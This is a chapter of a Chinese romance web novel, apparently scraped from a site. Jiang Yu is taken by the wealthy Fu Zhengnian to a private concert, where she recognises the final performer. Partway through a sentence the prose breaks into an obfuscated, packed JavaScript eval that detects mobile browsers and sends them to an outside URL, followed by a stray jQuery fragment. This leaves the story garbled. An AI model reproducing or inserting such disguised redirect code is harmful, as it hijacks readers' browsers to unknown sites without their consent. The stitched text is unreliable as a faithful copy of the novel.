一小时后,江余和宫白卉并肩走出医院,宫白卉一边搓手一边说,“今年的冬天真冷。”
因为温度太低,说话间便浮起一片雾气。
江余笑了声,抬手为宫白卉拦了一辆车,“你哪年不这样说。”
宫白卉切了声,没有立即上车,反倒是四处看了看,问:“他还没到吗?”
“应该快了吧。”
宫白卉轻蹙了下眉,“那你怎么现在就下来了,不冷吗?”
“还好吧,也没有多冷。”
总不好叫付政年等她。
宫白卉恨铁不成钢的看着她,无奈说:“那你自己注意点,玩玩也就算了,千万别陷进去,就连我男朋友都对他避之不谈,他那样的人,不是我们能够招惹的起的。”
男朋友?
江余想起上次见到的那个男人,她不动声色的抿了下唇,轻轻点头,“嗯,我知道,你快走吧,别让师傅等久了。”
“行吧,等我空了再来找你。”说完宫白卉就转身上了车。
江余隔着车窗对她摆了摆手。
一开始打电话的时候,付政年说是一个小时左右到,但来的路上难免会遇到堵车,江余也没有催,刚好附近有个公交车站,她走过去找了个位置坐着等他。
今天下午钱枫的到来多少还是有些影响到江余的心情。
老太太虽然没有问,但应该也猜到公司出了问题,她身体越来越差,江余不想让她再为其他事烦忧。
江余每次过来看她,两人对那些不好的事都避而不谈,但其实她们心里很清楚,都是自欺欺人罢了。
滴~
一道鸣笛声响起,江余赫然抬头,入目便是一辆停在路边的黑色汽车。
车窗大开,付政年坐在车里朝她看来。
江余忙拿上包上车。
“刚刚发什么愣呢?”
她刚一坐下,付政年就问。
江余笑着回答,“想事情有些入迷,就没看到你的车。”
付政年伸手揉了下她有些发红的脸,“不是跟你说我到了你再下来吗,还真当自己是铁人,那么抗冻?”
他的手很暖和,江余有些贪恋这个温度,也任由他摧残自己的脸,“住院部过来有些距离,医院门口不能长时间停车。”
付政年盯着她看了一会儿,手往后移,捏了捏她的耳垂,“心情不好?”
江余没说话,只是疑惑地看向他。
付政年笑了下,跟师傅报了个位置,说去那里。
他说的这个位置是在郊区,江余就多问了一句,“去那里做什么?”
“不是心情不好吗,带你去消遣。”
“……”
江余扯出一个略显虚假的笑,说:“那就多谢付总了。”
付政年也跟着笑,“真想谢我你倒是拿出点诚意来。”
江余偏头思索了一下,笑道:“那我请你吃饭?”
付政年轻嗤,“我差你这顿饭?”
说完他又掐了她一下,收回手发了个消息。
*
车子在一处私人庄园门口停下,黄师傅把车停好后下来拉开后车门,“先生,到了。”
付政年嗯了声,将外套搭在臂弯上,回头对江余说:“走吧。”
江余点点头,抓起一旁的包,跟在他后面。
下车后,看到门口停着的一排排豪车,她笑道:“你们这地方挑的挺偏啊。”
付政年哼笑一声,牵起她的手往里走,还没走几步,就见两人急匆匆的朝他们走来,在他们面前站定,朝付政年伸出手,“付先生,江小姐,我叫周牧,刚才在里面有事情耽搁了,有失远迎,还望见谅。”
付政年伸出手同他握了一下,道:“周总客气了。”
“两位快里面请,知道你们要来,我特地把楼上视野最好的位置给你们空出来了,音乐会时间是提前定下的,不好更改,但也才刚刚开始,待会儿二位要是想听谁的表演,我可以请他单独为你们演奏。”
周牧一边引着他们往里走,一边为他们解释着。
什么音乐会?
江余听得一头雾水,她带着满腹疑问跟着他们往里面走。
这座庄园里面修建了一个小型场馆,因为隔音效果很好,走到门口江余才听到里面传出来的声音,直到走进场馆,她心中的猜测才得到证实。
场馆的面积不大,但是布局却十分奢华,中间有一个圆台,四周摆放着稀疏的卡座,楼上的位置类似于包间,围栏前面摆放着桌椅,两侧用屏风隔开,留出正对圆台的视野,
台上一位国外的音乐家正弹奏着李斯特的诺玛的回忆,这位音乐家江余并不陌生,之前她参加比赛的时候,这位音乐家曾担任评委。
她环顾一圈,前排坐着好些音乐领域的前辈。
这是资本组织的一场私人演奏会,聚集了国内外知名的音乐人,专门为这些有身份地位的人举办的。
其盛况难得一见。
江余压下心中的悸动,诧然地看着付政年,“你怎么会想着带我来这?”
付政年捏了捏她的手心,笑说:“说好了带你去消遣,当然要来你喜欢的地方。”
“所以你才一下飞机就赶过来找我?”
付政年勾了勾唇,“不然你以为,小白眼狼。”
江余呼吸一窒,耳边还回旋着钢琴曲的节奏,她盯着两人紧握在一起的手,鼻尖泛起一阵酸涩。
迎面而来的寒风,吹乱了她心跳的节奏。
周牧把他们带到楼上,又让人送来小吃和酒水,对江余道:“江小姐要是想见谁,就跟我说一声,我去给您把人叫上来。”
江余点头道了声谢,说不用了,而后端起特调的酒抿了一口,右手托腮往下面看去。
这个位置确实好,可以将整个场馆收入眼中。
周牧笑着应下,“那先不打扰二位了,我就在隔壁,你们有什么需要直接叫我就是。”
付政年嗯了声,“你忙着,不用管我们。”
周牧犹豫了一下,又说了一句,“那合同的事,还请付先生多多考虑。”
付政年看他一眼,道:“明天会有人给你送过去。”
江余骤然回头看付政年。
周牧面色一喜,“那就先谢过付先生了。”
周牧离开后,江余还在盯着付政年看,他笑问:“怎么这副表情。”
“你们刚刚说的合同,就是今晚进这里的代价吗?”
江余心里五味杂陈,一时间难以形容其中滋味。
见她这模样,付政年失笑出声,“不是什么重要的合同,本来也是准备拿来做人情的。”
说完他拿过手中的衣服盖在江余腿上,她今天穿的有些单薄,驼色大衣
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084578|179515||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
搭了件黑色连衣裙,方才牵她手时就觉得冰。
江余看过去时他已经收回了手,笑说:“不过呢,我对这些不是很了解,所以你跟我说什么我也不一定听得懂,你要是觉得无趣,就让周牧下去叫个人上来陪你。”
江余摇摇头,“不用了。”
顿了顿,她又说了句,“谢谢。”
付政年挑眉看她。
台上不知何时已经换了人。
江余轻咬嘴唇,抬眼与他对视。
片刻后,她忽然伸手勾上付政年的后颈,往下压了压,仰头吻上他的唇角。
不得不说,如果是正经恋爱,那付政年绝对是一个完美伴侣,他出手大方,温柔细心,事事妥帖,能够很好照顾到你的情绪。
可他们不是,付政年的温柔妥帖也不是因为爱,只是他骨子里面的教养。
他豪掷一份价值不菲的合同带她来这儿寻开心,也只是因为他根本不在乎损失的这点钱。
今天就算不是她,换作是其他人,他也同样眼睛都不会眨一下。
毕竟付公子,从来不会对身边的人吝啬。
只因为他觉得,这是他该给的。
但不管怎么说,至少现在的他,是真的花心思想让她高兴的。
这一吻持续的时间不长,江余轻轻碰了一下就退开,勾起唇角,说:“谢礼。”
付政年不由笑出声来,“行,那我就收下了,下次记得再精进一下。”
“……”
江余睨他一眼,把腿上的衣服往上扯了扯,转头看向台下。
此时台上的演奏进入了高潮,那位小提琴家紧闭着眼,暖黄色灯光打在他的半边脸上,整个人都沉浸在自己的世界中,江余也被带入其中。
付政年看她如此投入,轻轻勾唇,靠在一旁慢条斯理地剥了颗坚果喂她嘴里。
周牧一直想要付政年手中的一个项目,但找不到机会接触他,最近听说他身边多了个新人,稍加打听就知道了江余的身份,得知她从前学的音乐,正好这段时间他负责筹办这场演奏会,就给付政年打过电话。
当时付政年在纽约出差,接到电话的时候正在忙,也就没在意。
他是今天回来的时候突然又想起这事,所以一下飞机就去找了江余。
如今瞧她这样,也觉得这趟没有白来。
这一场演奏会江余倒是听的兴致盎然,付政年却是一直电话不断,中途出去过好几次。
江余知道他一贯很忙,也没多问。
两个小时后,演奏会已经进入尾声,主持人正故作神秘的介绍着最后一位上台的人,因为她迟迟不说那人的名字,反倒引起了不少人的好奇心和期待。
就连付政年也将注意力放到了台上,随口问江余,“你觉得这压轴的会是谁?”
江余摇头说猜不到,随后端起酒杯送到唇边,眼睛紧紧地盯着舞台。
伴随着升降台缓缓上升,那人的面孔渐渐出现在众人面前。
主持人这才念出他的名字。
“宋逸。”
宋逸头发梳成三七分,穿着白色西装,打了条红色条纹的领带。
这是一张相对陌生的脸,至少在场的人有绝大部分不认识,甚至连他的名字都未曾听说过。
但江余却在看清他脸时手一顿,一滴红色酒液顺着下颌滴落在付政年的衣服上。